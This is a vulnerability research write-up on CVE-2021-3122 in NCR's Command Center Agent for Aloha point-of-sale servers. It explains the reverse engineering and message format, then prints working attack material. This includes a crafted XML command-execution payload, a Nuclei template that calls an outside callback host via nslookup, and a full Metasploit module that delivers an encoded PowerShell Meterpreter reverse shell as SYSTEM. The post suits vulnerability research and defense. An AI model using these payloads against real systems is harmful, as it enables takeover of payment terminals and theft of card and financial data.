Introduction
CVE-2021-3122 is a critical, unauthenticated remote command-execution vulnerability in the CMCAgent component of NCR’s Command Center Agent (used in the Aloha POS ecosystem). An attacker able to reach the agent can submit specially crafted XML notably containing a runCommand parameter that the service executes with SYSTEM-level privileges, allowing full control of the host. Due to its severe impact on systems that handle financial transactions. CVE-2021-3122 was later added to the VulnCheck Known Exploited Vulnerabilities (KEV) catalog in 2021, with exploitation reported by SentinelOne (based on a Tetra Defense incident-response investigation).
Setup Environment
To test this vulnerability, we used two virtual machines: Kali Linux and Windows OS. On the Windows OS, we downloaded CMCInst.zip, which we downloaded from this site https://rdf2.alohaenterprise.com/client/CMCInst.zip. However, since the URL was inaccessible, we used Web Archive and successfully downloaded it from there. Here’s the final URL:
https://web.archive.org/web/20210129020048/https://rdf2.alohaenterprise.com/client/CMCInst.zip
Extract the zip file, and execute CmcInst.exe to install NCR Command Center Agent. And we can see all the files that has been installed in C:\Program Files (x86)\NCR\CMC

Technical overview
Based on the CVE description, we know that the vulnerability exists in CMCAgent (Command Center Agent). So, we moved the CmcAgent.exe to our machine to do some reverse engineering
Because the CMCAgent service listens on port 8089. So our focus is on how the messages buffer are recieved from socket port 8089 and parsed.
Using Detect It Easy, we can see that CMCAgent.exe is a 32-bit executable file built using .NET Framework 4.0, so we can use dnSpy 32-bit for debugging.
In dnSpy, we can see the version of CmcAgent, which is 16.2.1.1
Receiving the XML
After decompiling the app, there is an instance method named OnSocketRead from class Radiant.CmcAgent.Core.Net.Protocol.SimpleMessageSocketProtocol.

From the pseudocode above, there are several calls to the xuCtsHmOK method that return a string. This method is part of the program’s obfuscation.

By setting a breakpoint on that line. we can easily get the final result string.

Based on above image, method call nCP5vtxT3QjsSeuiK3.xuCtsHmOK(9336) will return string <:EOM:>. The program will take every substring that ends with <:EOM:> and pass it to OnMessageReceived.
Go deeper, the program create a XML using XmlReader.Create from our message that we sent on port 8089.

Make sure you create a valid XML with <:EOM:> tag in the end.
Parsing the XML
After creating a XML using XmlReader.Create, it will create a WorkItem using WorkItem.CreateFromXml.

Using the same method as before, i was able to obtain a clearer version of the pseudocode.
public static WorkItem CreateFromXml(XmlReader reader, ICommandManager commandManager)
{
Preconditions.ThrowIfNull(commandManager, "commandManager");
reader.MoveToContent();
string text = null;
if (reader.MoveToAttribute("commandname"))
{
text = reader.ReadContentAsString();
}
reader.MoveToElement();
reader.ReadStartElement("workitemroot");
WorkItem workItem = XmlUtils.DeserializeFromXml<WorkItem>(reader);
if (string.IsNullOrEmpty(text))
{
throw new ApplicationException(string.Format(nCP5vtxT3QjsSeuiK3.xuCtsHmOK(60240), workItem.WorkItemId));
}
reader.ReadStartElement("command");
CommandProperties commandProperties = commandManager.GetCommandProperties(text);
if (commandProperties == null)
{
throw new ApplicationException(string.Format(nCP5vtxT3QjsSeuiK3.xuCtsHmOK(60358), workItem.WorkItemId, text));
}
ICommand command = commandProperties.ImplementingPlugin.CreateCommandInstance(text);
command.ReadXml(reader);
workItem.Command = command;
reader.ReadEndElement();
reader.ReadEndElement();
return workItem;
}
The XML must begin with the workitemroot element containing the commandName attribute on it. Then, it will parse all XmlElement under WorkItem class with DeserializeFromXml<WorkItem>.
So, valid XML looks something like this
<workitemroot commandname="...."><WorkItem><WorkItemId>....</WorkItemId><SourceNode>....</SourceNode><TargetNode>....</TargetNode><Status>....</Status></WorkItem></workitemroot><:EOM:>
Note:
Statuscan only be Unknown, Waiting, InProgress, Done, or Failed. You can check it on public enumWorkItemExecutionStatuses
After deserializing WorkItem, CMCAgent attempts to read the XML element command and tries to obtain the value of the commandName attribute, then checks it. If the command is valid, CMCAgent will process the command. The following is a list of valid commands:

The command used in this CVE is the runCommand command.
After getting the valid command name, the CMCAgent creates a Command Instances based from the command name. After that, through the command.ReadXml(reader), several fields member will be determined, such as Arguments, DestServer, Guid, and Result.


Note:
DestServercan only be WebServer or RdfServer. You can check it on public enumDestinationServer
So the valid XML format for command XML element is
<command><Arguments>....</Arguments><Guid>....</Guid><Result>...</Result><destserver>....</destserver></command>
If we combine it with the workitemroot XML formal described earlier, the full valid XML format is
<workitemroot commandname="...."><WorkItem><WorkItemId>....</WorkItemId><SourceNode>....</SourceNode><TargetNode>0</TargetNode><Status>....</Status></WorkItem><command><Arguments>....</Arguments><Guid>....</Guid><Result></Result><destserver>....</destserver></command></workitemroot><:EOM:>
Command Execution
To execute the command, the CMCAgent create a thread that will execute the IEGMGHCNGAMMONCGPOJDGMHGMINIALLPOCOK method. This method performs several checks on the workItem status, workItem targetnode, and workItem command.
If all checks pass, the GJEMNIIBHOLDPIKACELKHNKBHNDNBFABO method will be executed and the workItem status will be changed to Done if the execution is successful.
From this method, the CMCAgent use cmd.exe /c base command for the command execution.
nCP5vtxT3QjsSeuiK3.xuCtsHmOK(156482)returnscmd.exenCP5vtxT3QjsSeuiK3.xuCtsHmOK(156500)returns/c {0}
The CMCAgent will run it as a new process.
Proof of Concepts
For the proof-of-concept, we interacted with the CMCAgent service on port 8089 and submitted a crafted XML that abuses the runCommand operation to execute an arbitary command. Here is the crafted XML we used.
<workitemroot commandname="runCommand"><WorkItem><WorkItemId>1</WorkItemId><SourceNode>0</SourceNode><TargetNode>0</TargetNode><Status>InProgress</Status></WorkItem><command><Arguments>"whoami > C:\Users\Public\whoami.txt"</Arguments><Guid>00000000-0000-0000-0000-000000000001</Guid><Result></Result><destserver>WebServer</destserver></command></workitemroot><:EOM:>
The results are shown in the GIF below.

Scanning and Exploitation
For this CVE, we created two things to detect/exploit this vulnerability: a Nuclei template and a Metasploit module.
- Nuclei
id: CVE-2021-3122
info:
name: NCR Command Center Agent 16.3 - Remote Command Execution
severity: critical
author: daffainfo,jjcho
description: |
CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only on devices with a certain "misconfiguration."
reference:
- https://github.com/acquiredsecurity/CVE-2021-3122-Details/blob/main/CVE-2021-3122
- https://nvd.nist.gov/vuln/detail/CVE-2021-3122
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-3122
epss-score: 0.87048
epss-percentile: 0.99396
cwe-id: CWE-78
cpe: cpe:2.3:a:ncr:command_center_agent:16.3:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
vendor: ncr
product: command_center_agent
fofa-query: "mynodename"
shodan-query: "mynodename"
tags: cve,cve2021,ncr,rce,vkev,intrusive
variables:
payload: <workitemroot commandname="runCommand"><WorkItem><WorkItemId>1</WorkItemId><CommandName>runCommand</CommandName><SourceNode>0</SourceNode><TargetNode>0</TargetNode><Status>InProgress</Status></WorkItem><command><Arguments>nslookup {{interactsh-url}}</Arguments><Guid>00000000-0000-0000-0000-000000000001</Guid><Result></Result><destserver>WebServer</destserver></command></workitemroot><:EOM:>
tcp:
- inputs:
- data: "{{payload}}"
host:
- "{{Hostname}}"
port: 8089
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol,'dns')
- contains_all(raw, '<cmcsys', 'myNodeName')
condition: and
It will execute nslookup.exe http://oast.site and check if there is a pingback or not
Demo Nuclei

You can check the template in both the public and research repositories:
- Metasploit Module
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/Heroes-Cyber-Security/research
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NCR Command Center Agent Remote Code Execution',
'Description' => %q{
CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter
(within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command
as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only
on devices with a certain "misconfiguration."
},
'Author' => [
'daffainfo (Muhammad Daffa)',
'jjcho (Jericho Nathanael Chrisnanta)'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-3122'],
['URL', 'https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/'],
['URL', 'https://hcs-team.com/blog/cve-2021-3122/'],
],
'DisclosureDate' => '2021-02-07',
'Platform' => 'win',
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Privileged' => true,
'Targets' => [
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X64, ARCH_X86 ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp'}
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
},
'DefaultTarget' => 0,
)
)
register_options(
[
Opt::RPORT(8089)
]
)
end
def check
Exploit::CheckCode::Unknown
end
def generate_xml(cmd_payload)
xml_body = '<workitemroot commandname="runCommand">'
xml_body << '<WorkItem>'
xml_body << '<WorkItemId>1</WorkItemId>'
xml_body << '<CommandName>runCommand</CommandName>'
xml_body << '<SourceNode>0</SourceNode>'
xml_body << '<TargetNode>0</TargetNode>'
xml_body << '<Status>InProgress</Status>'
xml_body << '</WorkItem>'
xml_body << '<command>'
xml_body << '<Arguments>'
xml_body << cmd_payload
xml_body << '</Arguments>'
xml_body << '<Guid>00000000-0000-0000-0000-000000000001</Guid>'
xml_body << '<Result></Result>'
xml_body << '<destserver>WebServer</destserver>'
xml_body << '</command>'
xml_body << '</workitemroot>'
xml_body << '<:EOM:>'
xml_body
end
def exploit
begin
connect
print_status("Connected to #{rhost}:#{rport}") if datastore['VERBOSE']
cmd_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true)
payload_xml = generate_xml(cmd_payload)
print_status("Generating payload")
sock.put(payload_xml)
print_status("Check your shell")
handler
rescue ::Rex::ConnectionError => e
fail_with(Failure::Unreachable, "Failed to connect: #{e}")
ensure
disconnect
end
end
end
It will generate PowerShell command to execute the Meterpreter payload and establish a session.
Demo Metasploit

You can check the module in both the public (coming soon) and research repositories:
- Public repository: Coming Soon
- Our repository: Link here
Remediation
- Restrict access to port 8089 (only allow trusted hosts).
- Apply vendor patch or update from NCR (fixed versions available).